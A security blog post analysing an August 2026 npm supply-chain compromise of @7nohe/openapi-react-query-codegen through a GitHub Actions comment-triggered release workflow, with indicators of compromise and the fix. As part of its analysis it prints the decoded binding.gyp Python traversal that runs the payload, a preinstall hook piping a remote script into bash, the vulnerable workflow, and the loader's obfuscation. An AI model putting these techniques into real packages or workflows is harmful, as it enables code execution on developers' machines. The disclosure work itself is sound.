Mini Shai-Hulud Strikes Again: openapi-react-query-codegen

SafeDep Team
9 min read

TL;DR

On August 28, 2026, an attacker published 10 malicious versions of @7nohe/openapi-react-query-codegen (671K downloads/month) to npm. The attacker did not steal npm credentials. Instead, they exploited a flawed GitHub Actions issue_comment trigger in the release workflow. This trigger lacked an author-association gate. Any GitHub user could open a pull request from a fork, comment npm publish, and trigger the release pipeline. The pipeline checked out the attacker’s fork code, ran pnpm install (which executed the attacker’s preinstall hook), and held id-token: write permission, enough to mint npm OIDC trusted-publishing tokens. The attacker used this to publish arbitrary versions under the legitimate package identity.

The payload uses two independent execution triggers. The first is a binding.gyp file that exploits node-gyp’s Python expression evaluation to call os.system('node 3FWCvzduYZg.js') through a Unicode-escaped class hierarchy traversal. The second is an explicit preinstall hook in package.json. The 3FWCvzduYZg.js file is a multi-megabyte, single-line obfuscated script. It decodes through three layers (XOR, AES-128-GCM, javascript-obfuscator) to a bootstrapper that downloads Bun v1.4.0 from GitHub releases into a trinnyyyy- prefixed temporary directory. This Bun download pattern and the obfuscation style match the Mini Shai-Hulud toolkit used in earlier supply chain attacks against SAP and AntV/317 npm packages.

All 10 versions have been removed from npm. The last safe version is 3.0.2 (published August 11, 2026). The latest dist-tag points to 3.0.2 as of August 29, 2026.

Impact:

  • Projects pinned to version ranges (^3.0.0, ^2.2.0, ^1.6.0, ^0.5.0) could have resolved to compromised versions during the attack window
  • The binding.gyp trigger executes even when install scripts are disabled, because node-gyp rebuild processes the file through Python evaluation
  • The payload downloads and executes a binary (Bun) from a remote source
  • On Windows, the downloaded binary is renamed to a random six-character name to evade detection

Indicators of Compromise (IoC):

  • File 3FWCvzduYZg.js in the package root (4.3 to 6.4 MB, single line)
  • File binding.gyp with SHA256 d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d
  • Temporary directories matching trinnyyyy-*
  • preinstall script: node 3FWCvzduYZg.js
  • See full IoC list below

Compromised Versions

All versions were published on August 28, 2026, between 20:00 and 20:21 UTC. The attacker published in two waves, with two canary versions used for testing the exploit.

VersionPublished (UTC)Trigger3FWCvzduYZg.js SHA256
0.5.420:00:43binding.gyp onlyb49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
1.6.320:00:48binding.gyp only59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380
2.2.120:00:53binding.gyp only8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
0.0.0-365d4eb*20:01:03preinstall (bun pipe)N/A (canary, no payload file)
3.0.320:02:08binding.gyp only778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
3.0.420:19:29preinstall + binding.gypb24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
1.6.420:19:38preinstall + binding.gype1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
2.2.220:19:41preinstall + binding.gypb6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
0.0.0-ec7876d*20:20:13preinstall (node nu.js)N/A (canary, nu.js not included)
0.5.520:20:53preinstall + binding.gyp709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8

*Full canary version strings: 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be and 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab.

Wave 1 (20:00 to 20:02 UTC) used only the binding.gyp trigger. No preinstall hook appeared in package.json. Wave 2 (20:19 to 20:21 UTC) added an explicit preinstall: "node 3FWCvzduYZg.js" alongside the binding.gyp. The attacker upgraded from stealth to redundancy within 20 minutes.

Each version carries a different 3FWCvzduYZg.js payload (unique SHA256, sizes from 4,390,354 to 6,417,671 bytes). The binding.gyp is identical across all eight payload versions.

A diff between the clean 3.0.2 and the compromised 3.0.4 shows the injection surface. The attacker changed three things: the version number, one preinstall line, and two new files.

$ diff -rq 3.0.2/package 3.0.4/package
Only in 3.0.4/package: 3FWCvzduYZg.js
Only in 3.0.4/package: binding.gyp
Files 3.0.2/package/package.json and 3.0.4/package/package.json differ
// package.json diff (3.0.2 to 3.0.4)
"test": "vitest --coverage.enabled true",
"snapshot": "vitest --update"
"snapshot": "vitest --update",
"preinstall": "node 3FWCvzduYZg.js"

The clean package is 232KB (41 files). The compromised package is 6.4MB (43 files). The 6.2MB 3FWCvzduYZg.js and 828-byte binding.gyp account for the entire size difference.

The Compromise Vector

The attacker did not compromise the npm account or GitHub credentials. The attack exploited a flawed GitHub Actions workflow in the repository.

The vulnerable workflow

The release.yml workflow had two triggers:

# .github/workflows/release.yml (before fix)
on:
push:
tags:
- 'v*'
issue_comment:
types:
- created

The issue_comment path ran when any user commented npm publish on any pull request. The workflow then checked out the pull request head and ran pnpm install:

# .github/workflows/release.yml (before fix)
- name: Checkout PR
if: ${{ github.event_name == 'issue_comment' }}
run: |
git fetch origin pull/${{ github.event.issue.number }}/head:pr-find-commit
git checkout pr-find-commit
- name: Install dependencies
run: pnpm install
- name: Set prerelease package version
if: ${{ github.event_name == 'issue_comment' }}
run: npm version --no-git-tag-version 0.0.0-$(git rev-parse HEAD)
- name: Publish prerelease
if: ${{ github.event_name == 'issue_comment' }}
run: pnpm publish --no-git-checks --tag canary

Three flaws made this exploitable:

  1. No author-association gate. Any GitHub user could trigger the workflow, not only collaborators.
  2. Checkout of attacker-controlled code. The workflow checked out the pull request head, which runs fork code inside the privileged workflow context.
  3. OIDC publishing capability. The workflow declared permissions: id-token: write, which allows minting npm trusted-publishing tokens. Combined with pnpm install running the fork’s preinstall scripts, the attacker’s code executed with full access to OIDC token generation.

The attack

The attacker opened pull requests #215 and #216 from a fork. These pull requests have since been deleted. A comment of npm publish on one of these pull requests triggered the release workflow. The workflow checked out the fork’s code, ran pnpm install, and the attacker’s preinstall script used the OIDC token to publish malicious versions to npm under the package’s legitimate identity.

The fix commit (2026-08-28T22:50:03Z) confirms this:

The release workflow fired on any npm publish comment on any pull request, with no author-association gate. The job then checked out the PR head and ran pnpm install, so a fork’s preinstall script executed inside a job holding id-token: write, enough to mint an npm trusted publishing token and publish arbitrary versions. This was exploited on 2026-08-28 via PRs #215 and #216.

The fix removed the issue_comment trigger, dropped the issues: write permission, added persist-credentials: false to the checkout step, and changed pnpm install to pnpm install --frozen-lockfile.

The canary versions

The two 0.0.0-* versions were test runs. Their preinstall scripts pass environment variables that reveal the attacker’s understanding of npm OIDC publishing:

// package.json — version 0.0.0-365d4eb (canary 1)
{
"preinstall": "wget -qO- https://raw.githubusercontent.com/oven-sh/bun/refs/heads/main/src/runtime/cli/install.sh|bash ; bash -c 'WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen ~/.bun/bin/bun is_it_this_simple.js'"
}
// package.json — version 0.0.0-ec7876d (canary 2)
{
"preinstall": "WORKFLOW_ID=release.yml REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen TARGET_PACKAGES=@7nohe/openapi-react-query-codegen node nu.js"
}

WORKFLOW_ID, REPO_ID_SUFFIX, and TARGET_PACKAGES are the parameters needed to construct valid OIDC provenance claims for npm publishing. The file is_it_this_simple.js (not included in the tarball) is the attacker probing whether the exploit works. The name speaks for itself. Neither canary included the actual payload file. Both were dry runs.

The Payload Triggers

binding.gyp: code execution via node-gyp

The binding.gyp file is identical across all eight payload versions (SHA256: d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d). When npm install detects a binding.gyp in a package, it invokes node-gyp rebuild. node-gyp processes the file using Python’s eval() to evaluate GYP condition expressions. The attacker placed a Python class hierarchy traversal in the conditions array:

# binding.gyp — decoded from Unicode escapes
# Original uses \U0000XXXX encoding to evade static detection
[c for c in ().__class__.__base__.__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

The raw file uses \U escape sequences for every character in the string literals (catch_warnings, __import__, os, node 3FWCvzduYZg.js) to avoid grep-based detection. The target type is set to \x6e\x6f\x6e\x65 (“none”) and references a nonexistent dog.c to prevent actual compilation.

The class hierarchy traversal is a technique borrowed from SSTI (Server-Side Template Injection) attacks. It reaches os.system() without writing import os or os.system as plain strings anywhere in the file, which defeats grep-based detection. The binding.gyp trigger fires even if install scripts are disabled (--ignore-scripts), because node-gyp is treated as a build step rather than a lifecycle script.

preinstall hook

Wave 2 versions added an explicit fallback:

// package.json — version 3.0.4
{
"preinstall": "node 3FWCvzduYZg.js"
}

This runs the payload directly before dependency installation. Combined with the binding.gyp, the attacker had two independent execution paths.

3FWCvzduYZg.js: three-layer obfuscated loader

The 3FWCvzduYZg.js file is a single-line script between 4.3 and 6.4 MB. The first bytes confirm the structure:

// 3FWCvzduYZg.js — opening bytes (version 3.0.4)
try{Function(function flnw1rt(alnw1rt,klnw1rt){var clnw1rt="";for(var ilnw1rt=0;
ilnw1rt<alnw1rt.length;ilnw1rt++)clnw1rt+=String.fromCharCode(alnw1rt[ilnw1rt]^klnw1rt);
return clnw1rt}([205,132,150,156,139,134,...

The three layers:

  1. XOR decode (key 229): A byte array is XOR-decoded and passed to Function() for evaluation. This produces approximately 1.6 million characters of JavaScript.
  2. AES-128-GCM: The decoded layer contains hardcoded key, IV, and authentication tag for AES-128-GCM decryption, yielding two payloads.
  3. bootstrapper + obfuscated bundle: Layer 3a downloads Bun v1.4.0 from GitHub releases into a mkdtemp directory named trinnyyyy-, calls chmod 755, and on Windows renames the binary to a random six-character string via Math.random().toString(36).slice(2,8). Layer 3b is a 796KB javascript-obfuscator bundle with an encoded string array.

The Bun download pattern and the trinnyyyy- temporary directory prefix match the Mini Shai-Hulud toolkit observed in the SAP compromise (April 2026) and the AntV mass compromise (May 2026). Full decoding of the layer 3b payload has not been completed at the time of publication. The final objective (credential harvesting, backdoor installation, or both) requires further static analysis.

Timeline

Time (UTC)Event
2026-08-11 14:25Last clean version 3.0.2 published by maintainer
2026-08-28 ~19:59Release workflow triggered by bot comments on pull requests (skipped, conditions not met)
2026-08-28 20:00:43Wave 1 begins. Versions 0.5.4, 1.6.3, 2.2.1 published (binding.gyp trigger only)
2026-08-28 20:01:03Canary version 0.0.0-365d4eb published (bun install piped into bash, is_it_this_simple.js)
2026-08-28 20:02:08Version 3.0.3 published (binding.gyp trigger only)
2026-08-28 20:17:32Release workflow triggered again by bot comments (skipped)
2026-08-28 20:18:44Issue #217 opened by CharlieEriksen: “[URGENT] Malicious npm packages published”
2026-08-28 20:19:29Wave 2 begins (after public report). Version 3.0.4 published with preinstall + binding.gyp
2026-08-28 20:19:38Version 1.6.4 published
2026-08-28 20:19:41Version 2.2.2 published
2026-08-28 20:20:13Canary version 0.0.0-ec7876d published (references missing nu.js)
2026-08-28 20:20:53Version 0.5.5 published
2026-08-28 20:30:17Issue #218 opened by danieldanzigerupwind
2026-08-28 22:50:03Maintainer pushes fix commit removing issue_comment trigger
2026-08-28 ~23:11All malicious versions unpublished from npm

The attacker published Wave 2 less than one minute after the first public security report. Wave 2 added explicit preinstall hooks that were absent in Wave 1, which suggests the attacker was iterating on the attack in real time.

Affected Scope

Only @7nohe/openapi-react-query-codegen was compromised. Other packages under the @7nohe scope (openapi-mock-json-generator, confluence-md, adonis-mcp, react-realtime-cursor) show no suspicious publishes in August 2026. The unscoped package openapi-react-query-codegen (maintained by omridevk) is a separate, unrelated project.

Indicators of Compromise

Package versions

VersionTarball SHA256
0.5.473bac41332ea7438b671e6538750502a4548302ce26f99e114ded478436a0cb4
0.5.5f2f88ce6e8b0d8a6c75b4c6cf6a23db4bc1430f359b9bb12c9418fcb74cdfe46
1.6.31757c9203143db4958b53cb5c97af64bfe46ad57a07764fed59bbb886a71f1da
1.6.4a8c00f59e629e5bc4fc6a116fa1ceb8fcf328893a9c798ca446fdcacb0fbdc18
2.2.1cb46dbd078753f562931920fe4b109c673925138b0e9399527e84c53f07d8a7a
2.2.20d58f3434c55842fc41ad99656c20a295d46e7d16f432a122a5a094d7c1de0e2
3.0.3d1f9960349f2bc0689518ef754d577e1c13125db59b0252f1c85894bb69b5c8e
3.0.4acaee3a02873334002a27d6643c20f4e38e52c8d0d1f492788e2b68586e2cbfa
0.0.0-365d4eb*c555a1ab1a2e0425d6d7f965bae55af83b5aceab2177494a00ec43451c863c63
0.0.0-ec7876d*5654e2b3e19cf5e7f1d39d04ebdd3507d3349f76eeb8319de42b2fdb537b8a2d

Files

ArtifactSHA256
binding.gyp (all 8 payload versions)d3246926b20a8d021ed7de0ac8e9eee1dda986088f84ba18f31cb2042a121f5d
3FWCvzduYZg.js (v3.0.4)b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
3FWCvzduYZg.js (v1.6.4)e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
3FWCvzduYZg.js (v0.5.5)709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
3FWCvzduYZg.js (v2.2.2)b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
3FWCvzduYZg.js (v3.0.3)778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
3FWCvzduYZg.js (v2.2.1)8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
3FWCvzduYZg.js (v0.5.4)b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
3FWCvzduYZg.js (v1.6.3)59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380

Behavioral indicators

  • Temporary directories matching trinnyyyy-*
  • Bun v1.4.0 binary downloaded from GitHub releases during npm install
  • On Windows: binary renamed to a random 6-character alphanumeric name
  • node-gyp rebuild triggered by binding.gyp with obfuscated Python code execution

Environment variables (canary versions)

  • WORKFLOW_ID=release.yml
  • REPO_ID_SUFFIX=7nohe/openapi-react-query-codegen
  • TARGET_PACKAGES=@7nohe/openapi-react-query-codegen

References

  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.